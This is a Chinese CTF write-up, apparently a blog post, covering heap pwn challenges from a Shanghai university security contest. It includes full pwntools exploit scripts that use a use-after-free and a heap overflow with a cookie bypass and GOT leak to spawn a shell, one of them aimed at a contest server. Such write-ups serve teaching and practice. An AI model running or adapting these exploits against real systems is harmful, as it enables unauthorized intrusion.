第三届上海市大学生网络安全大赛wp&学习
wp
0x00 p200
先分析了程序关键的数据结构
分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf
脚本如下:
1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆
2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据
3.再free,此时可以把整块Ton堆给free
4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8
5.执行1.use 此时其实是执行system('/bin/sh')
from pwn import*
# context.log_level = 'debug'
# p = process('./p200')
addr = 0x0000000000602D70
addr2 = 0x602D58 p = remote('106.75.8.58',12333) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.interactive()
学习
0x01 heap
也先给出数据结构

程序开始
1.分配了许多随机大小的堆块,又随机释放了其中一些堆块,造成之后再请求的堆块不连续
2.生成了一个随机cookie,在之后的主功能中放在堆内存中检测堆是否被改写

发现漏洞
在edit函数中我们可以重新向name域中写入任意字符,可以利用,假如当前堆块后还有一个堆块,我们就可以复写之后的堆块内容

绕过保护
1.先申请一定数量的堆块,就可以保证堆块连续
2.cookie的检验是首地址加偏移,首地址我们可以覆盖,偏移也可以覆盖,我们就可以让 首地址 + 偏移 = 内存中已经存在的cookie ,从而绕过cookie.
漏洞利用
1.泄露atoi_addr地址,计算出system_addr
2.在bss段写入/bin/sh
3.将person_function_ptr覆盖为system_addr,name_ptr覆盖为bss
4.调用introduce函数(实际上是system('/bin/sh'))
Al3x大佬的脚本,orz:
#!/usr/bin/env python from pwn import * #context.log_level = 'debug' def add(lName, name, lSname, sname, tutor='no'):
p.sendlineafter("option:", '')
p.sendlineafter("name", str(lName))
p.sendlineafter("name", name)
p.sendlineafter("schoolname", str(lSname))
p.sendlineafter("school name", sname)
p.sendlineafter(")", tutor) def remove(ID):
p.sendlineafter("option:", '')
p.sendlineafter("delete", str(ID)) def edit(ID, length, context, flag):
p.sendlineafter("option:", '')
p.sendlineafter("edit", str(ID))
if flag == 0:
p.sendlineafter("option:", '')
p.sendlineafter("name", str(length))
p.sendlineafter("name", context)
else:
p.sendlineafter("option:", '')
p.sendlineafter("schoolname", str(length))
p.sendlineafter("schoolname", context) def show(ID):
p.sendlineafter("option:", '')
p.sendlineafter("intro", str(ID)) #p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so.6"})
#p = remote('106.75.8.58', 23238)
p = process("./heap")
for i in range(120):
add(0x29, 'aaaa', 0x29, 'bbbb') atoi_got = 0x602FE8
bss_addr = 0x60F000
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 120
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 121
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 122
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 123
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 124 payload = 'a'*0x30 #padding
payload += 'a'*8 + p64(0x41) #prev_size & size
payload += p64(0x79) #id
payload += p64(atoi_got) #name_chunck_ptr
payload += '\x57\xC0' #name_chunck_size & cookies_off
edit(120, 0x55, payload, 1) show(121)
p.recvuntil("name is ")
atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
system_addr = atoi_addr - 0x36E80 + 0x45390 payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7a)
payload += p64(bss_addr)
payload +='\x3f'
edit(121, 0x55, payload, 1)
edit(122, 0x10, '/bin/sh', 0) payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7c)
payload += p64(bss_addr)
payload += p64(0x3f)
payload += p64(system_addr)
payload += p64(bss_addr)
payload += '\x3f'
edit(123, 0x6d, payload, 1)
#raw_input()
show(124) p.interactive()
0x02 list
这题自己的思路是对的,不断删除堆块,最后让指针指向atoi_got,然后泄露atoi_addr,计算system_addr,然后修改atoi_got为system.
可是自己没有理解指针。。。。本应该找个指向got的指针,,而我却直接找got...
第三届上海市大学生网络安全大赛wp&学习的更多相关文章
- 第三届上海市大学生网络安全大赛 流量分析 WriteUp
题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...
- Writeup:第五届上海市大学生网络安全大赛-Web
目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...
- 2019年上海市大学生网络安全大赛两道misc WriteUp
2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...
- 2019 上海市大学生网络安全大赛 RE部分WP
这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面 ...
- fzu 2105 Digits Count ( 线段树 ) from 第三届福建省大学生程序设计竞赛
http://acm.fzu.edu.cn/problem.php?pid=2105 Problem Description Given N integers A={A[0],A[1],...,A[N ...
- [2012山东省第三届ACM大学生程序设计竞赛]——n a^o7 !
n a^o7 ! 题目:http://acm.sdut.edu.cn/sdutoj/problem.php?action=showproblem&problemid=2413 Time Lim ...
- 第十一届GPCT杯大学生程序设计大赛完美闭幕
刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!&g ...
- [2012山东省第三届ACM大学生程序设计竞赛]——Mine Number
Mine Number 题目:http://acm.sdut.edu.cn/sdutoj/problem.php? action=showproblem&problemid=2410 Time ...
- 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup
2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...
随机推荐
- HDU4973 【几何。】
题意: 给你一个以原点为圆心的两个圆,一个大圆,一个小圆,然后给你一个硬币和他的速度,问你经过大圆的时间: 思路: 直接杠.. 然后wa的怀疑人生,后面wa在了速度的方向,如果我说一个点在两个圆的左上 ...
- laravel SQL语句
DB::table('表名')->get(); //查询表里的所有数据 DB::table('表名')->where()->find(需要查询的条数); 查询单或多条数据 ...
- 51nod1247(gcd)
题目链接:http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1247 题意:中文题诶- 思路:(a, b)可以直接到达(a+b ...
- su和sudo命令的用法
为了安全起见,尽量不要用root用户去做所有事情,因为一旦执行了错误的命令,可能会直接导致系统崩溃. 一.su命令 su 命令可以解决切换用户身份的需求,使得当前用户在不退出登录的情况下,切换到其他用 ...
- 安装CocoaPods,ios的库安装工具
1.需要ruby环境,mac pro自带了 2.终端输入:sudo gem install cocoapods
- Markdown - 如何给文本加下划线
解决方法 Markdown可以和HTML的语法兼容,可以通过HTML的标签来实现效果: 写法 效果 <u>下划线</u> 下划线 这里解释下,u指的是underline下划线. ...
- RecyclerView notifyDataSetChanged无效问题
使用notifyDataSetChanged方法更新列表数据时, 一定要保证数据为同个对象(hashCode要一致) 所以重新刷新数据列表时, 不能使用 List list = mlist: 应该使用 ...
- [題解](狀壓/水)luogu_P1879玉米田
大水題然而因為智障的錯誤调了半天......n,m别反着输入啊......內外循環和狀態數都不等價 别的就是記錄一下每一行不可行的點,也狀壓一下,dp的時候判一下即可 #include<bits ...
- Codeforces 1131G(dp)
传送门 与Codeforces1107G一起食用 思路 想到要用dp--然后常规地设dp[i]为推倒前i个牌的最小花费 有两种情况:一是当前这个推,二是不推而被别人推.对于第一种,需要找到这个左推(因 ...
- Codeforces 1119D(贡献计算)
题目传送 排序看一看. 关键点在于发现性质: 算一个点的贡献时: 1.与后一个有重叠.\[当 a[i] + r >= a[i + 1] + l, 即 r - l >= a[i + 1] - ...
